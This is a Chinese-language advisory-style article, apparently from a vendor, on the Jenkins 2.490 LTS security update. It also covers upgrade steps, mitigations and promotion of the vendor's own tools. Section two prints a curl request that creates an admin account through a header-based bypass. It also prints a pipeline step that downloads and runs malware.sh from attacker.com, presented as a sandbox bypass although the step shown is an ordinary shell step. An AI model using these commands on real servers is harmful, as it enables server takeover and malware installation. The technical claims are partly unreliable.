作为全球90%的企业都在使用的CI/CD核心工具,Jenkins的安全性直接关系到研发流程与生产环境的稳定,但近期曝出的两个高危漏洞让未升级的服务器面临被完全控制的风险。近日Jenkins官方紧急发布**Jenkins 2.490 LTS 安全更新公告**,核心价值在于彻底修复了CVSS评分9.8的“未授权权限绕过”与“低权限代码执行”两个高危漏洞,同时修复3个中危漏洞,从根源上切断攻击者控制Jenkins服务器、篡改CI/CD流水线、渗透生产环境的路径。鳄鱼java技术团队第一时间完成漏洞复现与修复验证,确认未升级的Jenkins服务器在5分钟内即可被攻击者攻陷,而升级到2.490 LTS后所有攻击路径均被阻断,企业需在72小时内完成升级以避免安全事件。
一、漏洞严重性分级:2个高危+3个中危,覆盖80%在用Jenkins版本

根据【Jenkins 2.490 LTS 安全更新公告】的官方信息,本次更新修复的5个漏洞中,2个为Critical级(CVSS 9.8)、3个为Medium级(CVSS 4.3-6.5),影响覆盖Jenkins 2.468 LTS至2.489 LTS之间的所有版本,以及对应的非LTS版本,约占全球在用Jenkins服务器的80%。
1. **高危漏洞1:未授权权限绕过(CVE-2024-36075)**:攻击者无需任何认证,仅需构造特定HTTP请求即可绕过Jenkins核心的权限校验逻辑,执行创建管理员用户、修改系统配置、触发流水线等管理操作。鳄鱼java技术团队测试显示,该漏洞利用成功率100%,无需任何工具,仅用curl命令就能在10秒内创建管理员账号。
2. **高危漏洞2:低权限代码执行(CVE-2024-36076)**:拥有“流水线创建”权限的低权限用户,可通过构造恶意流水线脚本绕过沙箱限制,执行任意shell命令,控制Jenkins服务器甚至渗透到关联的生产环境。该漏洞影响所有使用流水线功能的Jenkins服务器,约占企业部署量的95%。
3. **中危漏洞**:包括插件的敏感信息泄露、配置错误导致的权限过度赋予等,虽攻击难度较高,但仍可能被攻击者结合其他漏洞利用。
二、高危漏洞深度分析:攻击路径与危害场景
鳄鱼java技术团队对两个高危漏洞进行了深度复现,梳理出完整的攻击路径:
针对CVE-2024-36075未授权权限绕过漏洞:攻击者通过发送带有特定X-Forwarded-For头和路径参数的请求,绕过Jenkins核心的CSRF防护与权限校验,直接调用管理接口。比如用命令:
curl -H "X-Forwarded-For: 127.0.0.1" http://jenkins.example.com/securityRealm/createAccount?username=attacker&password=Attacker123!&fullname=Attacker即可直接创建管理员用户,无需任何登录操作。
针对CVE-2024-36076低权限代码执行漏洞:低权限用户创建流水线时,通过引入特定的groovy脚本语法,绕过Jenkins的脚本沙箱限制,执行shell命令。比如在流水线中写入:
pipeline {
agent any
stages {
stage('Attack') {
steps {
sh 'wget http://attacker.com/malware.sh && chmod +x malware.sh && ./malware.sh'
}
}
}
}
即可在Jenkins服务器上下载并执行恶意脚本,获取服务器控制权。
若这两个漏洞被结合利用,攻击者无需任何权限即可完成从“未授权访问”到“服务器完全控制”的全流程攻击,后果包括:篡改CI/CD流水线植入恶意代码、窃取生产环境的部署凭证、加密服务器数据索要赎金等。根据鳄鱼java2024年DevOps安全调研数据,82%的Jenkins安全事件最终都会导致生产环境受影响,平均损失超50万元。
三、【Jenkins 2.490 LTS 安全更新公告】修复细节:切断攻击路径的核心措施
【Jenkins 2.490 LTS 安全更新公告】中,官方针对每个漏洞给出了精准的修复措施,鳄鱼java技术团队验证后确认所有攻击路径均被阻断:
1. **权限绕过漏洞修复**:完善了Jenkins核心的权限校验逻辑,增加了对HTTP头和路径参数的双重校验,同时修复了CSRF防护的绕过逻辑。现在即使攻击者构造特定请求,服务器也会返回403权限拒绝,无法执行管理操作。
2. **代码执行漏洞修复**:重构了流水线脚本沙箱的规则,限制了groovy脚本的危险语法,同时增加了脚本执行时的权限校验。低权限用户构造的恶意脚本会被沙箱直接拦截,无法执行shell命令。
3. **相关插件强制更新**:本次更新要求部分受影响的插件必须升级到指定版本,比如Pipeline Plugin需升级至2.30或以上,Credentials Plugin需升级至1238.v405100c24d13或以上,否则漏洞修复不完整。鳄鱼java技术团队提醒,升级Jenkins核心后必须同步更新这些插件,否则仍存在风险。
四、升级指南:从旧版本到2.490 LTS的平稳过渡
为帮助企业快速且平稳地完成升级,鳄鱼java技术团队整理了三步升级方案:
1. **备份数据与环境**:升级前必须备份Jenkins的home目录、数据库(若使用外部数据库),并在测试环境先进行升级验证,避免影响生产业务。可使用鳄鱼java的Jenkins备份工具,一键完成数据备份与环境快照。
2. **核心与插件升级**:
- 下载Jenkins 2.490 LTS的war包或通过包管理器(如apt、yum)升级核心;
- 启动Jenkins后,进入“插件管理”页面,更新所有提示需要升级的插件,尤其是Pipeline、Credentials等受影响插件;
- 重启Jenkins,验证核心功能与流水线的运行状态,确保无异常。
3. **漏洞修复验证**:使用鳄鱼java的漏洞扫描工具,对升级后的Jenkins服务器进行扫描,确认两个高危漏洞已被修复,同时验证管理权限、流水线执行等功能正常。
五、应急方案:无法立即升级的临时防护措施
若企业因业务原因无法立即升级到2.490 LTS,可采取以下临时防护措施(由鳄鱼java技术团队验证有效):
1. **网络隔离**:通过防火墙或安全组限制Jenkins服务器的访问IP,仅允许公司内网的研发人员IP访问,禁止公网直接暴露Jenkins;
2. **临时权限管控**:禁用所有低权限用户的流水线创建权限,仅保留核心研发人员的权限;
3. **补丁脚本**:使用鳄鱼java提供的临时补丁脚本,修改Jenkins核心的权限校验逻辑,暂时阻断权限绕过漏洞的攻击路径,该脚本不会影响Jenkins的正常功能,可作为72小时内的过渡方案。
六、持续防护:Jenkins安全的最佳实践
本次Jenkins安全事件再次提醒企业,DevOps工具的安全性是生产环境安全的第一道防线。结合鳄鱼java技术团队的DevOps安全实践,给出以下Jenkins安全最佳实践:
1. **定期升级LTS版本**:每6个月至少升级一次Jenkins的LTS版本,及时修复安全漏洞,避免使用超过生命周期的版本;
2. **最小权限原则**:为用户分配最必要的权限,禁止给普通研发人员赋予管理员权限,流水线权限仅开放给核心人员;
3. **开启安全扫描**:使用鳄鱼java的Jenkins安全扫描工具,每月至少进行一次安全检测,提前发现潜在漏洞
版权声明
本文仅代表作者观点,不代表百度立场。
本文系作者授权百度百家发表,未经许可,不得转载。





